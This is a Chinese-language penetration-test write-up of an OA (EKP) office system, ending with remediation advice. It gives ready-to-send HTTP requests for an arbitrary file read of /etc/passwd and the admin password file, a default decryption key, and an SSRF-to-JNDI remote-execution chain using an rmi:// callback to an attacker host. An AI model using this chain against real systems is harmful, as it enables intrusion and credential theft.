记一次密码读取+SSRF渗透测试
字数 862 2025-08-05 00:16:28
某凌OA(EKP)系统渗透测试技术分析
0x01 背景
本文记录了一次针对某凌OA(EKP)办公系统的授权渗透测试过程。该系统存在任意文件读取和SSRF+JNDI远程命令执行漏洞,攻击者可以利用这些漏洞获取管理员权限并执行远程命令。
0x02 漏洞概述
该OA系统存在两个关键漏洞:
- 任意文件读取漏洞:可读取系统敏感文件,包括管理员密码配置文件
- SSRF+JNDI远程命令执行漏洞:结合后台访问权限可实现远程命令执行
0x03 任意文件读取漏洞利用
漏洞位置
/sys/ui/extend/varkind/custom.jsp
利用方法
通过POST请求向该URL发送特定格式的数据,可读取服务器上的任意文件。
读取/etc/passwd示例
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: [目标主机]
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 42
var={"body":{"file":"file:///etc/passwd"}}
读取管理员配置文件示例
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: [目标主机]
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 60
var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
密码解密
从配置文件中获取的密码是加密的,可以使用以下参数解密:
- 加密模式:ECB
- 填充方式:ZeroPadding
- 默认密钥:
kmssAdminkey - 不需要偏移量(IV)
0x04 SSRF+JNDI远程命令执行
前提条件
- 通过任意文件读取获取管理员密码
- 使用解密后的密码登录后台(
/admin.do)
JNDI注入工具使用
- 下载并编译工具:
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
mvn clean package -DskipTests
- 启动监听服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "ping b50dpx.dnslog.cn" -A "[攻击者IP]"
- 构造SSRF请求触发JNDI注入:
POST /admin.do HTTP/1.1
Host: [目标主机]
Content-Length: 68
Content-Type: application/x-www-form-urlencoded
Connection: close
method=config&datasource=rmi://[攻击者IP]:1099/zosci3
注意事项
- 确保1099、1389、8180端口可用
- 工具需要Java 1.7+和Maven 3.x+环境
- 默认命令是打开计算器(
open /Applications/Calculator.app)
0x05 漏洞修复建议
- 限制文件读取功能,禁止读取系统敏感文件
- 修改默认加密密钥
- 对后台管理接口增加严格的权限验证
- 禁用不必要的JNDI查找功能
- 更新到厂商提供的最新补丁版本
总结
该渗透测试过程展示了如何利用某凌OA系统的两个关键漏洞实现权限提升和远程命令执行。攻击链如下:
- 利用任意文件读取获取管理员加密密码
- 使用默认密钥解密密码
- 登录后台管理系统
- 通过SSRF触发JNDI注入实现RCE
企业应及时应用厂商补丁,并检查系统是否存在类似漏洞。